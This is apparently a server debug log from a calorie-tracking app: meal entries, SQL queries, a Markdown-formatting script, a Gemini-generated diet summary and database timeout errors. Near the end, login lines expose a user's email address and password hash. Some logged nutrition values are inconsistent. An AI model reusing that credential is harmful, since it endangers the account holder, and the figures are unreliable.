    skip_reason: 'Provides energy for workouts, but white rice is a refined carb. Brown rice or quinoa would be better for sustained energy and more nutrients for muscle development.'
  },
  {
    id: 442,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Onion Kheera Salad',
    calories: 20,
    protein_gm: 1,
    carbs_gm: 5,
    fat_gm: 0,
    quantity: '1 plate (approx 100g)',
    replacements: 'Plain cucumber salad,Salad with more leafy greens',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Very low in calories, high in fiber and vitamins. Excellent for overall health and satiety without adding significant calories.'
  },
  {
    id: 443,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Amla',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 piece (approx 20g)',
    replacements: 'Other low-calorie fruits (e.g., berries)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C and antioxidants, beneficial for recovery and overall health. Very low in calories.'
  },
  {
    id: 444,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Egg Whites',
    calories: 85,
    protein_gm: 18,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '5',
    replacements: 'None (egg whites are already very low calorie and high protein)',
    created_at: '2025-12-18T10:25:36.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of lean protein, ideal for muscle development and low in calories.'
  },
  {
    id: 445,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk',
    calories: 124,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 7,
    quantity: "1 glass (approx 200ml, assuming full-fat cow's milk)",
    replacements: 'Skim milk (0% fat),Almond milk (unsweetened),Soy milk (unsweetened),Oat milk (unsweetened)',
    created_at: '2025-12-18T10:53:19.000Z',
    skip_level: 1,
    skip_reason: 'Milk is a good source of protein and calcium, beneficial for muscle development. Full-fat milk has more calories and fat, but can be fine in moderation for muscle gain. If aiming for lower fat, skim milk is an option.'
  }
]
2025-12-18T16:23:21.027Z server-connect:app Executing action step setvalue
2025-12-18T16:23:21.027Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T16:23:21.027Z server-connect:output var_total: 1612
2025-12-18T16:23:21.027Z server-connect:app Executing action step setvalue
2025-12-18T16:23:21.027Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T16:23:21.027Z server-connect:output var_consumed: 67
2025-12-18T16:23:21.027Z server-connect:app Executing action step setvalue
2025-12-18T16:23:21.027Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T16:23:21.027Z server-connect:output var_deficit: 788
2025-12-18T16:23:21.027Z server-connect:app Executing action step custom
2025-12-18T16:23:21.027Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T16:23:21.029Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1612',
    surplus_or_deficit: '788',
    status_flag: 2
  }
]
2025-12-18T16:23:22.010Z server-connect:app Executing action step identify
2025-12-18T16:23:22.010Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:22.010Z server-connect:output identity: 1
2025-12-18T16:23:25.852Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-18T16:23:25.853Z server-connect:app Executing action step identify
2025-12-18T16:23:25.853Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:25.853Z server-connect:output identity: 1
2025-12-18T16:23:25.853Z server-connect:app Executing action step restrict
2025-12-18T16:23:25.853Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T16:23:25.853Z server-connect:output restrict: undefined
2025-12-18T16:23:25.853Z server-connect:app Executing action step select
2025-12-18T16:23:25.854Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-18T16:23:25.854Z server-connect:output items_consumed_today: [
  {
    id: 433,
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)'
  },
  {
    id: 434,
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)'
  },
  {
    id: 435,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 436,
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)'
  },
  {
    id: 437,
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5'
  },
  {
    id: 438,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 439,
    item_name: 'Milk Tea (without sugar)',
    calories: 70,
    protein_gm: 7,
    carbs_gm: 10,
    fat_gm: 2,
    quantity: '1 cup (approx 200ml)'
  },
  {
    id: 440,
    item_name: 'Hari Matar Dal',
    calories: 170,
    protein_gm: 12,
    carbs_gm: 30,
    fat_gm: 2,
    quantity: '1 bowl (approx 150g cooked)'
  },
  {
    id: 441,
    item_name: 'Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 0,
    quantity: '1 bowl (approx 150g cooked)'
  },
  {
    id: 442,
    item_name: 'Onion Kheera Salad',
    calories: 20,
    protein_gm: 1,
    carbs_gm: 5,
    fat_gm: 0,
    quantity: '1 plate (approx 100g)'
  },
  {
    id: 443,
    item_name: 'Amla',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 piece (approx 20g)'
  },
  {
    id: 444,
    item_name: 'Egg Whites',
    calories: 85,
    protein_gm: 18,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '5'
  },
  {
    id: 445,
    item_name: 'Milk',
    calories: 124,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 7,
    quantity: "1 glass (approx 200ml, assuming full-fat cow's milk)"
  }
]
2025-12-18T16:23:25.855Z server-connect:app Executing action step paged
2025-12-18T16:23:25.855Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-18T16:23:25.857Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 14,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-18T16:23:25.857Z server-connect:app Executing action step run
2025-12-18T16:23:25.857Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T16:23:25.858Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 436 | Baingan Sabji | 105 | 2 | 13 | 5 | 1 serving (approx. 150g) |\n' +
  '| 437 | Roti | 368 | 4 | 23 | 2 | 3.5 |\n' +
  '| 438 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 439 | Milk Tea (without sugar) | 70 | 7 | 10 | 2 | 1 cup (approx 200ml) |\n' +
  '| 440 | Hari Matar Dal | 170 | 12 | 30 | 2 | 1 bowl (approx 150g cooked) |\n' +
  '| 441 | Rice | 195 | 4 | 43 | 0 | 1 bowl (approx 150g cooked) |\n' +
  '| 442 | Onion Kheera Salad | 20 | 1 | 5 | 0 | 1 plate (approx 100g) |\n' +
  '| 443 | Amla | 10 | 0 | 2 | 0 | 1 piece (approx 20g) |\n' +
  '| 444 | Egg Whites | 85 | 18 | 3 | 1 | 5 |\n' +
  "| 445 | Milk | 124 | 7 | 9 | 7 | 1 glass (approx 200ml, assuming full-fat cow's milk) |\n" +
  '\n'
2025-12-18T16:23:25.858Z server-connect:app Executing action step run
2025-12-18T16:23:25.858Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T16:23:25.859Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T16:23:25.859Z server-connect:app Executing action step setvalue
2025-12-18T16:23:25.859Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-18T16:23:25.859Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 436 | Baingan Sabji | 105 | 2 | 13 | 5 | 1 serving (approx. 150g) |\n' +
  '| 437 | Roti | 368 | 4 | 23 | 2 | 3.5 |\n' +
  '| 438 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 439 | Milk Tea (without sugar) | 70 | 7 | 10 | 2 | 1 cup (approx 200ml) |\n' +
  '| 440 | Hari Matar Dal | 170 | 12 | 30 | 2 | 1 bowl (approx 150g cooked) |\n' +
  '| 441 | Rice | 195 | 4 | 43 | 0 | 1 bowl (approx 150g cooked) |\n' +
  '| 442 | Onion Kheera Salad | 20 | 1 | 5 | 0 | 1 plate (approx 100g) |\n' +
  '| 443 | Amla | 10 | 0 | 2 | 0 | 1 piece (approx 20g) |\n' +
  '| 444 | Egg Whites | 85 | 18 | 3 | 1 | 5 |\n' +
  "| 445 | Milk | 124 | 7 | 9 | 7 | 1 glass (approx 200ml, assuming full-fat cow's milk) |\n" +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T16:23:25.859Z server-connect:app Executing action step processWithGemini
2025-12-18T16:23:25.859Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-18T16:23:27.542Z server-connect:output health_summary: {
  summary: "The day showed a good effort in incorporating protein sources, particularly with the whey protein and egg whites. Meal timing appears somewhat spread out, which can be beneficial for sustained energy. However, there's a notable reliance on carb-heavy dishes and a few instances of sweetened beverages, which could be optimized for fat loss and muscle development goals. Overall, a decent day with room for refinement.",
  rating: 6,
  good_points: [
    'Inclusion of whey protein post-workout.',
    'Addition of egg whites for protein intake.',
    'Consumption of vegetables like Baingan Sabji and Onion Kheera Salad.',
    'Incorporation of milk for hydration and nutrients.'
  ],
  bad_points: [
    'Several instances of milk tea, some with added sugar, which can contribute to excess intake.',
    'Aloo Matar Mix Snack is a calorie-dense item.',
    'Reliance on roti and rice as primary carbohydrate sources.',
    'Potential for higher fat intake from certain dishes.'
  ],
  suggestions: [
    'Prioritize unsweetened beverages throughout the day.',
    'Consider increasing the portion of protein-rich foods at meals.',
    'Incorporate more fiber-rich vegetables and whole grains.',
    'Ensure adequate hydration with plain water between meals.'
  ],
  predicted_weight_trend: 'A slight downward trend is expected, with occasional plateaus.',
  predicted_weight: 70.1
}
2025-12-18T16:23:27.543Z server-connect:app Executing action step condition
2025-12-18T16:23:27.543Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-18T16:23:27.543Z server-connect:app Executing action step delete
2025-12-18T16:23:27.543Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-18T16:23:27.544Z server-connect:output delete: { affected: 1 }
2025-12-18T16:23:27.544Z server-connect:app Executing action step insert
2025-12-18T16:23:27.544Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-18T16:23:27.545Z server-connect:output insert: { affected: 1, identity: 37 }
2025-12-18T16:23:27.545Z server-connect:output condition: undefined
2025-12-18T16:23:27.834Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T16:23:27.834Z server-connect:app Executing action step identify
2025-12-18T16:23:27.834Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:27.834Z server-connect:output identity: 1
2025-12-18T16:23:27.834Z server-connect:app Executing action step restrict
2025-12-18T16:23:27.834Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:27.834Z server-connect:output restrict: undefined
2025-12-18T16:23:27.834Z server-connect:app Executing action step single
2025-12-18T16:23:27.834Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T16:23:27.835Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day showed a good effort in incorporating protein sources, particularly with the whey protein and egg whites. Meal timing appears somewhat spread out, which can be beneficial for sustained energy. However, there's a notable reliance on carb-heavy dishes and a few instances of sweetened beverages, which could be optimized for fat loss and muscle development goals. Overall, a decent day with room for refinement.",
    bad_points: [
      'Several instances of milk tea, some with added sugar, which can contribute to excess intake.',
      'Aloo Matar Mix Snack is a calorie-dense item.',
      'Reliance on roti and rice as primary carbohydrate sources.',
      'Potential for higher fat intake from certain dishes.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout.',
      'Addition of egg whites for protein intake.',
      'Consumption of vegetables like Baingan Sabji and Onion Kheera Salad.',
      'Incorporation of milk for hydration and nutrients.'
    ],
    suggestions: [
      'Prioritize unsweetened beverages throughout the day.',
      'Consider increasing the portion of protein-rich foods at meals.',
      'Incorporate more fiber-rich vegetables and whole grains.',
      'Ensure adequate hydration with plain water between meals.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'A slight downward trend is expected, with occasional plateaus.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 16:43:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 16:43:10' as DATETIME)"
}
2025-12-18T16:51:02.288Z server-connect:app Executing action step identify
2025-12-18T16:51:02.288Z server-connect:app options: { provider: 'security' }
2025-12-18T16:51:02.288Z server-connect:output identity: 1
2025-12-18T16:51:05.052Z server-connect:app Executing action step identify
2025-12-18T16:51:05.053Z server-connect:app options: { provider: 'security' }
2025-12-18T16:51:05.053Z server-connect:output identity: 1
2025-12-18T17:36:57.242Z server-connect:app Executing action step identify
2025-12-18T17:36:57.242Z server-connect:app options: { provider: 'security' }
2025-12-18T17:36:57.242Z server-connect:output identity: 1
2025-12-18T17:36:59.771Z server-connect:app Executing action step identify
2025-12-18T17:36:59.771Z server-connect:app options: { provider: 'security' }
2025-12-18T17:36:59.817Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-18T17:36:59.820Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-18T17:36:59.864Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 17:51:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 17:51:01' as DATETIME)"
}
2025-12-18T18:03:28.252Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T18:03:28.253Z server-connect:app Executing action step identify
2025-12-18T18:03:28.253Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:28.296Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
